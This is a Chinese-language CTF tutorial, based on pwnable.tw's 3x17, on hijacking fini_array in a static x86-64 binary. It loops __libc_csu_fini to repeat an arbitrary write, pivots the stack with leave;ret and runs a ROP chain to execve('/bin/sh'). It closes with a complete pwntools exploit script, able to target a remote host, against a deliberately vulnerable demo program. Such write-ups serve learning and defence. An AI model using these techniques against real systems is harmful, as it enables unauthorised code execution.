通过利用fini_array部署并启动ROP攻击

这篇文章源自pwnable.tw上的一道题目3x17，其中用到了fini_array劫持，比较有意思，于是写篇文章分析记录总结一下关于fini_array的利用方式~

0x0 背景

用gdb调试main函数的时候，不难发现main的返回地址是__libc_start_main

也就是说main并不是程序真正开始的地方，__libc_start_main是main的爸爸

然鹅，__libc_start_main也有爸爸，他就是_start

也就是Entry point程序的进入点啦，可以通过readelf -h查看：

shell

ELF Header:
  Magic:   7f 45 4c 46 02 01 01 03 00 00 00 00 00 00 00 00 
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - GNU
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x401a60
  Start of program headers:          64 (bytes into file)
  Start of section headers:          835672 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         8
  Size of section headers:           64 (bytes)
  Number of section headers:         31
  Section header string table index: 30

这是一个64位静态编译的ELF程序

其中，Entry point address: 0x401a60就是_start的地址：

c

.text:0000000000401A60                 public start
.text:0000000000401A60 start           proc near               
.text:0000000000401A60 ; __unwind {
.text:0000000000401A60                 xor     ebp, ebp
.text:0000000000401A62                 mov     r9, rdx
.text:0000000000401A65                 pop     rsi
.text:0000000000401A66                 mov     rdx, rsp
.text:0000000000401A69                 and     rsp, 0FFFFFFFFFFFFFFF0h
.text:0000000000401A6D                 push    rax
.text:0000000000401A6E                 push    rsp
.text:0000000000401A6F                 mov     r8, offset sub_402BD0 ; fini
.text:0000000000401A76                 mov     rcx, offset loc_402B40 ; init
.text:0000000000401A7D                 mov     rdi, offset main
.text:0000000000401A84                 db      67h
.text:0000000000401A84                 call    __libc_start_main
.text:0000000000401A8A                 hlt
.text:0000000000401A8A ; } // starts at 401A60
.text:0000000000401A8A start           endp

64位程序通过寄存器来保存函数参数：

Code

rdi - first argument
rsi - second argument
rdx - third argument
rcx - fourth argument
r8  - fifth argument
r9  - sixth argument

0x1 __libc_start_main分析

对应_start的代码，可以发现__libc_start_main函数的参数中，有3个是函数指针：

• rdi <- main
• rcx <- __libc_csu_init
• r8 <- __libc_csu_fini

不难想到，除main以外的这两位兄弟，一位在main开始执行前执行，一位在main执行完毕后执行

__libc_csu_fini函数

__libc_csu_fini就是在main执行完毕后执行的那位，这兄弟虽然只有短短几行指令，但是能利用的点却不少，他长这样：

c

pwndbg> x/20i 0x402bd0
   0x402bd0 <__libc_csu_fini>:	push   rbp
   0x402bd1 <__libc_csu_fini+1>:	lea    rax,[rip+0xb24e8]        # 0x4b50c0 
   0x402bd8 <__libc_csu_fini+8>:	lea    rbp,[rip+0xb24d1]        # 0x4b50b0 
   0x402bdf <__libc_csu_fini+15>:	push   rbx
   0x402be0 <__libc_csu_fini+16>:	sub    rax,rbp
   0x402be3 <__libc_csu_fini+19>:	sub    rsp,0x8
   0x402be7 <__libc_csu_fini+23>:	sar    rax,0x3
   0x402beb <__libc_csu_fini+27>:	je     0x402c06 <__libc_csu_fini+54>
   0x402bed <__libc_csu_fini+29>:	lea    rbx,[rax-0x1]
   0x402bf1 <__libc_csu_fini+33>:	nop    DWORD PTR [rax+0x0]
   0x402bf8 <__libc_csu_fini+40>:	call   QWORD PTR [rbp+rbx*8+0x0]
   0x402bfc <__libc_csu_fini+44>:	sub    rbx,0x1
   0x402c00 <__libc_csu_fini+48>:	cmp    rbx,0xffffffffffffffff
   0x402c04 <__libc_csu_fini+52>:	jne    0x402bf8 <__libc_csu_fini+40>
   0x402c06 <__libc_csu_fini+54>:	add    rsp,0x8
   0x402c0a <__libc_csu_fini+58>:	pop    rbx
   0x402c0b <__libc_csu_fini+59>:	pop    rbp
   0x402c0c <__libc_csu_fini+60>:	jmp    0x48f52c <_fini>

下面先概括的说下这个函数可利用的点，在后面会详细分析

利用方式 - 栈迁移

首先，看下面这条指令：

c

0x402bd8: lea rbp,[rip+0xb24d1] # 0x4b50b0

rbp = 0x4b50b0，0x4b50b0是fini_array的首地址

这条指令相当于lea rbp,[fini_array]，因此，在这里配合gadget:

c

leave ; (mov rsp,ebp; pop rbp)
ret

便可以把栈迁移到fini_array（fini_array存储的函数指针，可能有写权限）

利用方式 - 控制流劫持

下面还有一条call指令：

c

0x402bf8: call QWORD PTR [rbp+rbx*8]

rbp即为fini_array，因此这里将调用fini_array中的函数

只要修改fini_array中的值，就可以实现控制流的转移啦（传说中的fini_array劫持）

这里分析的64位的静态编译程序，可见其中的__libc_csu_fini函数简直好用的不得了鸭，既可以完成栈迁移，又能够劫持控制流

动态链接的程序__libc_csu_fini很短，并没有上述指令..但是也有类似fini_array的函数指针

0x2 fini_array分析

fini_array的地址可通过查看静态编译程序的section信息获得：

c

pwndbg> elfheader 
0x400200 - 0x400224  .note.gnu.build-id
0x400224 - 0x400244  .note.ABI-tag
0x400248 - 0x400470  .rela.plt
0x401000 - 0x401017  .init
0x401018 - 0x4010d0  .plt
0x4010d0 - 0x48d630  .text
0x48d630 - 0x48f52b  __libc_freeres_fn
0x48f52c - 0x48f535  .fini
0x490000 - 0x4a95dc  .rodata
0x4a95dc - 0x4a95dd  .stapsdt.base
0x4a95e0 - 0x4b3d00  .eh_frame
0x4b3d00 - 0x4b3da9  .gcc_except_table
0x4b5080 - 0x4b50a0  .tdata
0x4b50a0 - 0x4b50b0  .init_array
0x4b50a0 - 0x4b50e0  .tbss
0x4b50b0 - 0x4b50c0  .fini_array
0x4b50c0 - 0x4b7ef4  .data.rel.ro
0x4b7ef8 - 0x4b7fe8  .got
0x4b8000 - 0x4b80d0  .got.plt
0x4b80e0 - 0x4b9bf0  .data
0x4b9bf0 - 0x4b9c38  __libc_subfreeres
0x4b9c40 - 0x4ba2e8  __libc_IO_vtables
0x4ba2e8 - 0x4ba2f0  __libc_atexit
0x4ba300 - 0x4bba78  .bss
0x4bba78 - 0x4bbaa0  __libc_freeres_ptrs

其中0x4b50b0 - 0x4b50c0即.fini_array数组，其中存在两个函数指针：

c

pwndbg> x/2xg 0x4b50b0
0x4b50b0:	0x0000000000401b10	0x0000000000401580
pwndbg> x/i 0x0000000000401b10
   0x401b10 <__do_global_dtors_aux>:	cmp    BYTE PTR [rip+0xb87e9],0x0
pwndbg> x/i 0x0000000000401580
   0x401580 <fini>:	mov    rax,QWORD PTR [rip+0xb9b71]

array[0]->__do_global_dtors_aux
array[1]->fini

这两个函数都会在main执行完毕后执行，因此只要覆盖这两个函数指针，即可实现控制流的劫持

此外，静态链接的程序也有PLT表和GOT表，也可以覆盖通过GOT中的函数指针实现控制流劫持

上述fini_array中的两个函数指针在__libc_csu_fini（上文说的那位兄弟）中被执行

执行的顺序是array[1]->array[0](后有详解)

0x3 一种好玩儿的利用方式

循环大法

一种比较好玩儿的操作：

• 把array[0]的值覆盖为那位兄弟（__libc_csu_fini函数）的地址
• 把array[1]的值覆盖为另一个函数地址，就叫他addrA吧

于是，main执行完毕后执行__libc_csu_fini，于是有意思的来了！

• __libc_csu_fini先执行一遍array[1]:addrA，返回后再执行array[0]:__libc_csu_fini
• __libc_csu_fini先执行一遍array[1]:addrA，返回后再执行array[0]:__libc_csu_fini
• __libc_csu_fini先执行一遍array[1]:addrA，返回后再执行array[0]:__libc_csu_fini
• ……

看！连起来啦~ main->__libc_csu_fini->addrA->__libc_csu_fini->addrA-> ......

因吹斯汀~

详细过程

详细的过程如下：

c

0x402bd1 <__libc_csu_fini+1>:	lea    rax,[rip+0xb24e8]        # 0x4b50c0 
0x402bd8 <__libc_csu_fini+8>:	lea    rbp,[rip+0xb24d1]        # 0x4b50b0 
0x402bdf <__libc_csu_fini+15>:	push   rbx
0x402be0 <__libc_csu_fini+16>:	sub    rax,rbp
0x402be3 <__libc_csu_fini+19>:	sub    rsp,0x8
0x402be7 <__libc_csu_fini+23>:	sar    rax,0x3

rax = 0x4b50c0 - 0x4b50b0 = 0x10
rax = 0x10 >> 3 = 2

c

0x402bed <__libc_csu_fini+29>:	lea    rbx,[rax-0x1]
0x402bf1 <__libc_csu_fini+33>:	nop    DWORD PTR [rax+0x0]
0x402bf8 <__libc_csu_fini+40>:	call   QWORD PTR [rbp+rbx*8+0x0]

rbx = rax-1 = 1
call [rbp+rbx*8+0x0]即call array[1]即call addrA

c

0x402bfc <__libc_csu_fini+44>:	sub    rbx,0x1
0x402c00 <__libc_csu_fini+48>:	cmp    rbx,0xffffffffffffffff
0x402c04 <__libc_csu_fini+52>:	jne    0x402bf8 <__libc_csu_fini+40>

addrA执行完毕后返回到0x402bfc
rbx = rbp - 1 = 0
rbx != -1，满足跳转条件

于是，程序控制流又回到了那位兄弟手中：

c

0x402bf8 <__libc_csu_fini+40>:	call   QWORD PTR [rbp+rbx*8+0x0]

此时执行的是call array[1]即call __libc_csu_fini（call自己个儿啊）

于是循环往复，只要array[0]中的__libc_csu_fini值不变，程序就会一直循环执行addrA

当然，将array[1]中的addrA改成其他的addrB、addrC也都会执行

想要终止循环，只需把array[0]中的__libc_csu_fini换掉即可

就这样，那位兄弟只要占住了array[0]这个坑，就可以让addrA无限次的执行下去啦

小结一下

1. x64静态编译程序，劫持fini_array

   • array[0]覆盖为__libc_csu_fini
   • array[1]覆盖为另一地址addrA

2. 程序将循环执行addrA

3. 终止条件为array[0]不再为__libc_csu_fini

相当于：

c

while (array[0] == __libc_csu_fini){
	addrA();
}

这其实是一种可以让漏洞被重复利用的方式，比如addrA中存在任意写一字节内存漏洞，通过上面这个循环就可以将漏洞放大，实现任意写多字节

0x4 ROP攻击

上述利用方式可以与ROP攻击相结合

虽说直接用one_gadget比较方便，但是有时还是需要用到ROP的…

栈迁移

由于劫持控制流的位置是在程序执行完毕后的fini_array中，因此在ROP攻击前，需要先进行栈迁移：

leave; ret相当于执行如下操作：

• mov rsp, rbp (fini_array->rsp)
• pop rbp (fini_array->rbp)
• ret (fini_array+0x8->ret )

这里有两种栈迁移方法：

第一种：在array[1]处迁移栈（需迁移两次）

• fini_array+0x0:(data)fini_array+0x8
• fini_array+0x8:(gadget)leave_ret
• fini_array+0x10:rop chain

第二种：跳过array[1]，在array[0]处迁移栈

• fini_array+0x0:(gadget)leave_ret
• fini_array+0x8:(gadget)ret
• fini_array+0x10:rop chain

这两种方法都可以达到栈迁移的目的，直接说比较难理解，待会实际调试一下就明白啦（下面有例子）

总之，向fini_array+0x10,fini_array+0x18...中依次布置gadget

构造好了ROP链，就可以完成ROP攻击啦~

举个栗子

c

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]){
	char buf[30];
	write(1,"addr:",5);
	read(0,&buf,200);
	int *addr = buf;
	write(1,"data:",5);
	read(0,*addr,24);
	return 0;
}

shell

$ gcc demo.c -no-pie --static -o demo

漏洞分析

很明显，存在任意写内存的漏洞，可以改写任意内存位置的连续24个字节。利用方式如下：

python

ru('addr:')
sl(p64(addr))
ru('data:')
se(p64(data1)+p64(data2)+p64(data3))

漏洞放大

24字节显然不够，于是可以用上文提到的循环大法：

array[0]->__libc_csu_fini
array[1]->main

让main函数多执行几次，这样就可以控制足够大的内存空间，往里面布置ROP链啦~

攻击思路

就这个栗子而言，ROP攻击的思路大概是这样：

• 利用任意写，劫持fini_array
• 循环执行main，利用任意写，将ROP链布置到fini_array+0x10
• 终止循环，并将栈迁移到fini_array+0x10执行ROP链

劫持fini_array+循环利用

改写fini_array的两个函数指针，开启循环大法：

array[0]->__libc_csu_fini
array[1]->main

python

ru('addr:')
sl(p64(fini_array))
ru('data:')
se(p64(libc_csu_fini)+p64(main))

布置ROP链

执行SYS_execve('/bin/sh',0,0)，需要完成以下寄存器的布局：

c

RAX  0x3b
RDI  addr -> '/bin/sh'
RDX  0
RSI  0

对应的ROP链如下：

python

pop_rdi=0x00000000004016a6     # pop rdi ; ret
pop_rax=0x0000000000447bbc     # pop rax ; ret
pop_rdx_rsi=0x000000000044a659 # pop rdx ; pop rsi ; ret
syscall = 0x0000000000402434   # syscall
bin_sh_addr=fini_array+0x50    # ropchain start at fini_array+0x10

ropchain = [p64(pop_rdi),p64(bin_sh_addr),
            p64(pop_rax),p64(0x3b),
            p64(pop_rdx_rsi),p64(0),p64(0),
            p64(syscall),
            "/bin/sh\x00"]

# write ropchain to fini_array
for i in range(len(ropchain)):
    ru('addr:')
    sl(p64(fini_array+0x10+i*8))
    ru('data:')
    se(ropchain[i])

跳出循环

布置完ROP链，就可以跳出循环了，改写fini_array中的函数指针，顺便准备栈迁移

array[0]->gadget:leave;ret
array[1]->gadget:ret

python

ru('addr:')
sl(p64(fini_array))
ru('data:')
se(p64(leave)+p64(ret)) # break loop and stack pivot

栈迁移

跳出循环后，通过leave_ret完成栈迁移，执行ROP链：

这里用的是上文中的第二种栈迁移方式：

• fini_array+0x0:(gadget)leave_ret
• fini_array+0x8:(gadget)ret
• fini_array+0x10:rop chain

这是因为循环大法中的array[1]是main，main返回后将执行array[0]处的函数：

leave执行前：

c

 ► 0x401c29 <main+172>              leave  
   0x401c2a <main+173>              ret    
    ↓
   0x401016 <_init+22>              ret    
    ↓
   0x4016a6 <init_cacheinfo+230>    pop    rdi
   0x4016a7 <init_cacheinfo+231>    ret    
    ↓
   0x447bbc <__open_nocancel+92>    pop    rax

pwndbg> x/10xg $rsp
0x7fff85f385c8:	0x0000000000402bfc	0x00000000004b50f8
0x7fff85f385d8:	0x0000000000000000	0x00000000004b50b0
0x7fff85f385e8:	0x0000000000402bfc	0x00000000004b50f0
0x7fff85f385f8:	0x0000000000000000	0x00000000004b50b0
0x7fff85f38608:	0x0000000000402bfc	0x00000000004b50e8

leave执行后，栈被迁移到fini_array+0x8，即array[1]，但是这里并不是ROP链的开始，因此需要在array[1]这里用只含ret一个指令的gadget，让控制流后移，进入到fini_array+0x10的ROP链中

c

   0x401c29 <main+172>              leave  
 ► 0x401c2a <main+173>              ret             <0x401016; _init+22>
    ↓
   0x401016 <_init+22>              ret    
    ↓
   0x4016a6 <init_cacheinfo+230>    pop    rdi
   0x4016a7 <init_cacheinfo+231>    ret    
    ↓
   0x447bbc <__open_nocancel+92>    pop    rax

pwndbg> x/10xg $rsp
0x4b50b8:	0x0000000000401016	0x00000000004016a6
0x4b50c8:	0x00000000004b5100	0x0000000000447bbc
0x4b50d8:	0x000000000000003b	0x000000000044a659
0x4b50e8:	0x0000000000000000	0x0000000000000000
0x4b50f8:	0x0000000000402434	0x0068732f6e69622f

ROP链执行完毕后就会执行SYS_execve('/bin/sh',0,0)啦~

exp

最后，附上这个栗子的exp：

python

#!/usr/bin/python
#__author__:TaQini

from pwn import *

local_file  = './pwn4'
local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = local_libc # '../libc.so.6'

if len(sys.argv) == 1:
    p = process(local_file)
    libc = ELF(local_libc)
elif len(sys.argv) > 1:
    if len(sys.argv) == 3:
        host = sys.argv[1]
        port = sys.argv[2]
    else:
        host, port = sys.argv[1].split(':')
    p = remote(host, port)
    libc = ELF(remote_libc)

elf = ELF(local_file)

context.log_level = 'debug'
context.arch = elf.arch

se      = lambda data               :p.send(data) 
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :p.info(tag + ': {:#x}'.format(addr))

def debug(cmd=''):
    gdb.attach(p,cmd)

# info
# gadget
leave = 0x0000000000401c29 # leave ; ret
ret = 0x0000000000401016 # ret
pop_rdi=0x00000000004016a6 # pop rdi ; ret
pop_rax=0x0000000000447bbc # pop rax ; ret
pop_rdx_rsi=0x000000000044a659 # pop rdx ; pop rsi ; ret
syscall = 0x0000000000402434 # syscall

# elf, libc
fini_array = 0x4b50b0
libc_csu_fini = 0x0402BD0 # __libc_csu_fini
main = 0x0401B7D
bin_sh_addr=fini_array+0x50
ropchain = [p64(pop_rdi),p64(bin_sh_addr),
            p64(pop_rax),p64(0x3b),
            p64(pop_rdx_rsi),p64(0),p64(0),
            p64(syscall),
            "/bin/sh\x00"]

# do loop :write any value to any addr
ru('addr:')
sl(p64(fini_array))
ru('data:')
se(p64(libc_csu_fini)+p64(main))

# ropchain
for i in range(len(ropchain)):
    ru('addr:')
    sl(p64(fini_array+0x10+i*8))
    ru('data:')
    se(ropchain[i])
    
ru('addr:')
sl(p64(fini_array))
ru('data:')
# debug()
se(p64(leave)+p64(ret)) # break loop and stack pivot

p.interactive()

0x5 总结

以上就是如何利用fini_array部署、启动一次ROP攻击

为了方便说明，这篇文章中我用的是64位静态编译程序，没开启PIE保护，GOT表等函数指针也可以改写，但是这并不说明这种利用方式是有局限的。即使保护全开，不是静态编译，也可以通过同样的思路进行攻击，比如ACTF2020的fmt64，就是利用这种思路进行攻击的。传送门